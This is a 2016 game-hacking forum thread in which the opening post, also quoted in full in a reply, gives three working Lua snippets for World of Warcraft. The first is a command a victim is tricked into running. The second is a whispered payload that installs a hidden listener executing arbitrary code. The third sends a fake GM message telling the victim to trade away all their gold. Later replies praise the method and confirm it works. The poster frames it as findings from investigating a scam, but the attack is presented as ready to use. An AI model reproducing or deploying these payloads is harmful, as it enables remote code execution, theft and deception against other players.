Run arbitrary LUA scripts on another WoW client. menu

User Tag List

Page 1 of 2 12 LastLast
Results 1 to 15 of 20
  1. #1
    Hazzbazzy's Avatar wannabe hackerlol Authenticator enabled
    Reputation
    1296
    Join Date
    Aug 2011
    Posts
    1,083
    Thanks G/R
    176/463
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Run arbitrary LUA scripts on another WoW client.

    Hi all,

    As the title states, this is an extremely malicious way to interact with another user; using this, you can make a target trade all their gold away, send mail, and basically perform any form of LUA function. The exploit is caused by an "oversight" at Blizzard, and it does not require any add-ons. Three bits of code are effectively required in order to run arbitrary code on a target's WoW, and the target is required to run one of these commands.

    The first command:
    Code:
    /run RemoveExtraSpaces=RunScript
    This is the command you have to get the target to run, it replaces the vanilla chat API of "RemoveExtraSpaces" (which is activated whenever you recieve a chat message), with the RunScript API (the API partly responsible for running LUA scripts).

    The second "command":
    Code:
    z=z or  CreateFrame('button')z:RegisterEvent'CHAT_MSG_ADDON'z:SetScript('OnEvent',functi  on(_,_,_,m)pcall(loadstring(m))end)RegisterAddonMessagePrefix"Fr"
    After the target has run the command, they will no longer be able to see chat messages, unless they are chat messages that you specifically create for them. This second bit of code is actually just whispered to the target (due to the "RemoveExtraSpaces="), and registers an Addon prefix so that you can send messages to the target across the "CHAT_MSG_ADDON" channel, which again, does not appear to the target.

    The third (example) "command":
    Code:
    SendAddonMessage("Fr", RemoveExtraSpaces (ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")), "WHISPER", "Reassurance-Rexxar")
    This third piece of code is the "do this" part, and again whispered to the target. It works by sending a message to the target, which is then identified as if it's been written after the /run command, again due to the first command we had the target run. While it still appears as a message, whatever function you set in the message, the target will perform.

    For example, the example I have provided sends a message to "Reassurance-Rexxar", and sends a command across the CHAT_MSG_ADDON channel to print a fake message on the targets screen, reading <GMICON>[Latin]: hi, please trade me all your gold. Obviously, the
    Code:
    ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")
    part can be changed to anything you want, such as having the target perform an emote, or say something random in guild chat.

    \

    Thanks all,

    Edit: this appears to be partially, if not completely, fixed; I can no longer seem to send the second string of code to another player, as the message just does not send. Could be down to this:

    Last edited by Hazzbazzy; 07-07-2016 at 06:31 PM.
    "HOLY TIME MACHINE BATMAN! it's 1973!"
    https://youtube.com/Hazzbazzy

    These ads disappear when you log in.

  2. Thanks Dovah, TeoG, Alfalfa, Smitten, krampak, Pdey, lilsniff, motastic, Fadelol, artemarkantos, homer91, eSko (12 members gave Thanks to Hazzbazzy for this useful post)
  3. #2
    Kaizuken's Avatar ★ Elder ★
    Reputation
    1410
    Join Date
    May 2011
    Posts
    1,307
    Thanks G/R
    60/293
    Trade Feedback
    3 (100%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Run arbitrary LUA scripts on another WoW client.

    Originally Posted by Hazzbazzy View Post
    Hi all,

    As the title states, this is an extremely malicious way to interact with another user, caused by an "oversight" at Blizzard, and it does not require any add-ons. Three bits of code are effectively required in order to run arbitrary code on a target's WoW, and the target is required to run one of these commands.

    The first command:
    Code:
    /run RemoveExtraSpaces=RunScript
    This is the command you have to get the target to run, it replaces the vanilla chat API of "RemoveExtraSpaces" (which is activated whenever you recieve a chat message), with the RunScript API (the API partly responsible for running LUA scripts).

    The second "command":
    Code:
    z=z or  CreateFrame('button')z:RegisterEvent'CHAT_MSG_ADDON'z:SetScript('OnEvent',functi  on(_,_,_,m)pcall(loadstring(m))end)RegisterAddonMessagePrefix"Fr"
    After the target has run the command, they will no longer be able to see chat messages, unless they are chat messages that you specifically create for them. This second bit of code is actually just whispered to the target (due to the "RemoveExtraSpaces="), and registers an Addon prefix so that you can send messages to the target across the "CHAT_MSG_ADDON" channel, which again, does not appear to the target.

    The third (example) "command":
    Code:
    SendAddonMessage("Fr", RemoveExtraSpaces (ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")), "WHISPER", "Reassurance-Rexxar")
    This third piece of code is the "do this" part, and again whispered to the target. It works by sending a message to the target, which is then identified as if it's been written after the /run command, again due to the first command we had the target run. While it still appears as a message, whatever function you set in the message, the target will perform.

    For example, the example I have provided sends a message to "Reassurance-Rexxar", and sends a command across the CHAT_MSG_ADDON channel to print a fake message on the targets screen, reading <GMICON>[Latin]: hi, please trade me all your gold. Obviously, the
    Code:
    ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")
    part can be changed to anything you want, such as having the target perform an emote, or say something random in guild chat.

    \

    Thanks all,

    Haha, how you can discover things like that?
    Nice found.
    And how can you reach the Gm Island?

  4. #3
    Hazzbazzy's Avatar wannabe hackerlol Authenticator enabled
    Reputation
    1296
    Join Date
    Aug 2011
    Posts
    1,083
    Thanks G/R
    176/463
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Kaizuken View Post
    Haha, how you can discover things like that?
    Nice found.
    And how can you reach the Gm Island?
    Been at GM since WOTLK on my level 60, summoned my level 1 there with RAF for "reassurance"

    I found this by investigating a scam that's going round and then working out how they were managing it.
    "HOLY TIME MACHINE BATMAN! it's 1973!"
    https://youtube.com/Hazzbazzy

  5. #4
    Alfalfa's Avatar Legendary
    Reputation
    746
    Join Date
    Feb 2013
    Posts
    671
    Thanks G/R
    70/79
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Nice find, +rep!

  6. Thanks hackerlol (1 members gave Thanks to Alfalfa for this useful post)
  7. #5
    krampak's Avatar Member
    Reputation
    3
    Join Date
    May 2009
    Posts
    64
    Thanks G/R
    18/2
    Trade Feedback
    1 (100%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I got those "You have been disconnected from the chat server" messages yesterday. Does this mean that someone was trying to do such thing ?

  8. #6
    Hazzbazzy's Avatar wannabe hackerlol Authenticator enabled
    Reputation
    1296
    Join Date
    Aug 2011
    Posts
    1,083
    Thanks G/R
    176/463
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by krampak View Post
    I got those "You have been disconnected from the chat server" messages yesterday. Does this mean that someone was trying to do such thing ?
    No, I think it was Bizzard implementing a ninja hotfix for this.
    "HOLY TIME MACHINE BATMAN! it's 1973!"
    https://youtube.com/Hazzbazzy

  9. #7
    Android32's Avatar Banned
    Reputation
    66
    Join Date
    Sep 2013
    Posts
    281
    Thanks G/R
    8/17
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    wait, so we have a blizzard GM on the forums, who figures out exploits and posts them here?

  10. #8
    Aeon1c's Avatar Active Member High Warlord CoreCoins Purchaser
    Reputation
    57
    Join Date
    Aug 2014
    Posts
    185
    Thanks G/R
    0/30
    Trade Feedback
    5 (80%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Epic find! +Rep

  11. #9
    Bitninja's Avatar Banned
    Reputation
    6
    Join Date
    Jul 2016
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Thanks mate!

  12. #10
    Hanss's Avatar Established Member 8-) CoreCoins Purchaser
    Reputation
    81
    Join Date
    Sep 2008
    Posts
    131
    Thanks G/R
    12/6
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Well done reverse engineering this hack. Interesting read!

  13. #11
    Hazzbazzy's Avatar wannabe hackerlol Authenticator enabled
    Reputation
    1296
    Join Date
    Aug 2011
    Posts
    1,083
    Thanks G/R
    176/463
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Android32 View Post
    wait, so we have a blizzard GM on the forums, who figures out exploits and posts them here?
    No, I'm not a GM
    "HOLY TIME MACHINE BATMAN! it's 1973!"
    https://youtube.com/Hazzbazzy

  14. #12
    solor's Avatar Member
    Reputation
    1
    Join Date
    Mar 2007
    Posts
    21
    Thanks G/R
    1/0
    Trade Feedback
    2 (100%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I tried few days ago and replaced loadstring with print to get more info on exactly what "hacker" sends you, however it didnt work for some reason so i only ended up reporting him after playing dumb for ~10min and he was desperatly trying of teaching me how to run that /run command also at the end i explained him how exploit works since he seemed to be clueless. What i think is "someone" wrote whole addon for this and made a guide that is geting sold and now "script kiddies" are using it. Because its always same "back" story like someone would follow a guide. I saw him on at least 3 different EU servers same crap every time.

  15. #13
    Tubleros's Avatar Member
    Reputation
    1
    Join Date
    Jun 2014
    Posts
    10
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    It works. When i tried it the first time nothing happened with the target. But when the other client disabled all the addons it worked just fine. So the target had some sort of addon activated that prevented the script to get through.

  16. #14
    Hazzbazzy's Avatar wannabe hackerlol Authenticator enabled
    Reputation
    1296
    Join Date
    Aug 2011
    Posts
    1,083
    Thanks G/R
    176/463
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Tubleros View Post
    It works. When i tried it the first time nothing happened with the target. But when the other client disabled all the addons it worked just fine. So the target had some sort of addon activated that prevented the script to get through.
    Thanks for confirming, will look at attempting this again momentarily, perhaps was a temporary fix.

    Edit: are you on US or EU realms, as I still can't get it to work on the EU side?
    Last edited by Hazzbazzy; 07-09-2016 at 01:29 PM.
    "HOLY TIME MACHINE BATMAN! it's 1973!"
    https://youtube.com/Hazzbazzy

  17. #15
    Tubleros's Avatar Member
    Reputation
    1
    Join Date
    Jun 2014
    Posts
    10
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Hazzbazzy View Post
    Thanks for confirming, will look at attempting this again momentarily, perhaps was a temporary fix.

    Edit: are you on US or EU realms, as I still can't get it to work on the EU side?
    I'm on the EU realms.

Page 1 of 2 12 LastLast

Similar Threads

  1. [Lua Script] Script Tester Without WoW Client?
    By MadameGrip in forum WoW EMU Questions & Requests
    Replies: 8
    Last Post: 04-08-2011, 10:13 AM
  2. Dr. Emu's LUA Script Editor 1.0 BETA *WoW Edition
    By Dr. Emu in forum WoW EMU Programs
    Replies: 25
    Last Post: 02-06-2009, 01:04 PM
  3. [RELEASE] Yet another Lua script
    By Zaeran in forum WoW EMU General Releases
    Replies: 8
    Last Post: 12-06-2008, 09:12 PM
  4. [Guide] Another LUA Scripting Guide
    By Bapes in forum WoW EMU Guides & Tutorials
    Replies: 13
    Last Post: 05-08-2008, 05:01 PM
All times are GMT -5. The time now is 09:03 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2021 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2021 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search